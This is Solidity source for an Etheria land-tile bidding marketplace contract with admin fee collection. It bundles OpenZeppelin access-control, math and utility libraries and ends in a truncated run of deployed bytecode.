pragma solidity ^0.7.6; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/proxy/Initializable.sol"; interface MapElevationRetriever { function getElevation(uint8 col, uint8 row) external view returns (uint8); } interface Etheria { function getOwner(uint8 col, uint8 row) external view returns(address); function setOwner(uint8 col, uint8 row, address newowner) external; function setName(uint8 col, uint8 row, string calldata _n) external; } contract EtheriaGlobalMarket is AccessControl, Initializable { /* Marketplace based on the Larvalabs OGs! */ using SafeMath for uint256; string public name; uint public mapSize; Etheria public etheriav11; Etheria public etheriav12; uint public FEE; uint public feesToCollect; uint public GlobalBidIDCounter; struct Bid { uint8 col; uint8 row; uint amount; address bidder; } struct GlobalBid { uint bidid; uint amount; address bidder; } // A record of the highest Etheria bid // version => (tileIndex => Bid) mapping (string => mapping (uint => Bid)) public bids; mapping (string => mapping (uint => GlobalBid)) public globalbids; mapping (address => uint) public pendingWithdrawals; event EtheriaTransfer(string indexed version, uint indexed index, address from, address to); event EtheriaBidCreated(string indexed version, uint indexed index, uint amount, address bidder); event EtheriaGlobalBidCreated(string indexed version, uint indexed globalbidid, uint amount, address bidder); event EtheriaBidWithdrawn(string indexed version, uint indexed index, uint amount, address bidder); event EtheriaGlobalBidWithdrawn(string indexed version, uint indexed globalbidid, uint amount, address bidder); event EtheriaBought(string indexed version, uint indexed index, uint amount, address seller, address bidder); event EtheriaGlobalBought(string indexed version, uint indexed index, uint amount, uint globalbidid, address seller, address bidder); function initialize() public initializer { _setupRole(DEFAULT_ADMIN_ROLE, 0x568f02EE272909ae9352188D4EA406Df810Ba4dE); _setupRole(DEFAULT_ADMIN_ROLE, 0x9260ae742F44b7a2e9472f5C299aa0432B3502FA); _setupRole(DEFAULT_ADMIN_ROLE, 0xD2927a91570146218eD700566DF516d67C5ECFAB); FEE = 20; //5% name = "EtheriaGlobalMarket"; mapSize = 33; etheriav11 = Etheria(0x169332Ae7D143E4B5c6baEdb2FEF77BFBdDB4011); etheriav12 = Etheria(0xB21f8684f23Dbb1008508B4DE91a0aaEDEbdB7E4); GlobalBidIDCounter = 0; } function collectFees() public { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender)); uint amount = feesToCollect; feesToCollect = 0; uint forth = amount.div(4); uint remainder = amount.sub(forth).sub(forth).sub(forth); payable(0x448458Ac5EE15ae1b5f73dbA5bfA46046FEeEfDd).transfer(forth); payable(0x568f02EE272909ae9352188D4EA406Df810Ba4dE).transfer(forth); payable(0x9260ae742F44b7a2e9472f5C299aa0432B3502FA).transfer(forth); payable(0xD2927a91570146218eD700566DF516d67C5ECFAB).transfer(remainder); } function changeFee(uint newFee) public { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender)); FEE = newFee; } function _index(uint8 col, uint8 row) internal view returns (uint) { return col * mapSize + row; } function versionDispatcher(string calldata version) internal view returns (Etheria) { return keccak256(abi.encodePacked(version)) == keccak256(abi.encodePacked("1.1")) ? etheriav11 : etheriav12; } function bid(string calldata version, uint8 col, uint8 row) public payable { //require(etheria.getOwner(col, row) != msg.sender); uint index = _index(col, row); require(msg.value > 0, "BID::Value is 0"); Bid memory bid = bids[version][index]; require(msg.value > bid.amount, "BID::New bid too low"); //refund failing bid pendingWithdrawals[bid.bidder] += bid.amount; //new bid bids[version][index] = Bid(col, row, msg.value, msg.sender); emit EtheriaBidCreated(version, index, msg.value, msg.sender); } function increaseGlobalBidCounter() internal returns (uint) { GlobalBidIDCounter += 1; return GlobalBidIDCounter; } function globalbid(string calldata version) public payable { //require(etheria.getOwner(col, row) != msg.sender); //uint index = _index(col, row); uint globalbidid = increaseGlobalBidCounter(); require(msg.value > 0, "BID::Value is 0"); // Dont need to check old bids and not refund stuff //new globalbid globalbids[version][globalbidid] = GlobalBid(globalbidid, msg.value, msg.sender); emit EtheriaGlobalBidCreated(version, globalbidid, msg.value, msg.sender); } function withdrawBid(string calldata version, uint8 col, uint8 row) public { uint index = _index(col, row); Bid memory bid = bids[version][index]; require(msg.sender == bid.bidder, "WITHDRAW_BID::Only bidder can withdraw his bid"); emit EtheriaBidWithdrawn(version, index, bid.amount, msg.sender); uint amount = bid.amount; bids[version][index] = Bid(col, row, 0, address(0x0)); msg.sender.transfer(amount); } function withdrawGlobalBid(string calldata version, uint globalbidid) public { GlobalBid memory globalbid = globalbids[version][globalbidid]; require(msg.sender == globalbid.bidder, "WITHDRAW_BID::Only bidder can withdraw his bid"); emit EtheriaGlobalBidWithdrawn(version, globalbidid, globalbid.amount, msg.sender); uint amount = globalbid.amount; globalbids[version][globalbidid] = GlobalBid(globalbidid, 0, address(0x0)); msg.sender.transfer(amount); } function acceptBid(string calldata version, uint8 col, uint8 row, uint minPrice) public { Etheria etheria = versionDispatcher(version); require(etheria.getOwner(col, row) == msg.sender, "ACCEPT_BID::Only owner can accept bid"); uint index = _index(col, row); Bid memory bid = bids[version][index]; require(bid.amount > 0, "ACCEPT_BID::Bid amount is 0"); require(bid.amount >= minPrice, "ACCEPT_BID::Min price not respected"); // With the require getOwner we check already, if it can be assigned, no other checks needed etheria.setName(col, row, ""); etheria.setOwner(col, row, bid.bidder); //collect fee uint fees = bid.amount.div(FEE); feesToCollect += fees; uint amount = bid.amount.sub(fees); bids[version][index] = Bid(col, row, 0, address(0x0)); pendingWithdrawals[msg.sender] += amount; emit EtheriaBought(version, index, amount, msg.sender, bid.bidder); emit EtheriaTransfer(version, index, msg.sender, bid.bidder); } function acceptGlobalBid(string calldata version, uint8 col, uint8 row, uint globalbidid) public { Etheria etheria = versionDispatcher(version); require(etheria.getOwner(col, row) == msg.sender, "ACCEPT_BID::Only owner can accept bid"); uint index = _index(col, row); GlobalBid memory globalbid = globalbids[version][globalbidid]; require(globalbid.amount > 0, "ACCEPT_BID::Bid amount is 0"); require(globalbid.bidid == globalbidid, "ACCEPT_BID::Bid ID somehow changed?"); // With the require getOwner we check already, if it can be assigned, no other checks needed // Empty set Name etheria.setName(col, row, ""); etheria.setOwner(col, row, globalbid.bidder); //collect fee uint fees = globalbid.amount.div(FEE); feesToCollect += fees; uint amount = globalbid.amount.sub(fees); globalbids[version][globalbidid] = GlobalBid(globalbidid, 0, address(0x0)); pendingWithdrawals[msg.sender] += amount; emit EtheriaGlobalBought(version, index, amount, globalbidid, msg.sender, globalbid.bidder); emit EtheriaTransfer(version, index, msg.sender, globalbid.bidder); } function withdraw() public { uint amount = pendingWithdrawals[msg.sender]; // Remember to zero the pending refund before // sending to prevent re-entrancy attacks pendingWithdrawals[msg.sender] = 0; msg.sender.transfer(amount); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/EnumerableSet.sol"; import "../utils/Address.sol"; import "../utils/Context.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/Address.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !Address.isContract(address(this)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } }
0x6080604052600436106101b75760003560e01c80638a4eff45116100ec578063c57981b51161008a578063d547741f11610064578063d547741f14610b35578063f1e90b6c14610b90578063f3f4370314610c3a578063fb82791714610c9f576101b7565b8063c57981b514610aa4578063c879657214610acf578063ca15c87314610ae6576101b7565b806397667fa4116100c657806397667fa414610905578063a217fddf14610946578063b291663914610971578063bf51314214610a11576101b7565b80638a4eff45146107955780639010d07c1461082557806391d1485414610894576101b7565b80633ccfd60b1161015957806356ec3d231161013357806356ec3d23146105f85780636a1db1bf146106395780638129fc1c146106745780638688af8a1461068b576101b7565b80633ccfd60b146104205780634165728d14610437578063560f0a1e1461054e576101b7565b8063226092001161019557806322609200146102f0578063248a9ca31461031b5780632f2ff15d1461036a57806336568abe146103c5576101b7565b806302812440146101bc57806306fdde03146102355780631a32ebb6146102c5575b600080fd5b610233600480360360208110156101d257600080fd5b81019080803590602001906401000000008111156101ef57600080fd5b82018360208201111561020157600080fd5b8035906020019184600183028401116401000000008311171561022357600080fd5b9091929391929390505050610cca565b005b34801561024157600080fd5b5061024a610e8d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561028a57808201518184015260208101905061026f565b50505050905090810190601f1680156102b75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102d157600080fd5b506102da610f2b565b6040518082815260200191505060405180910390f35b34801561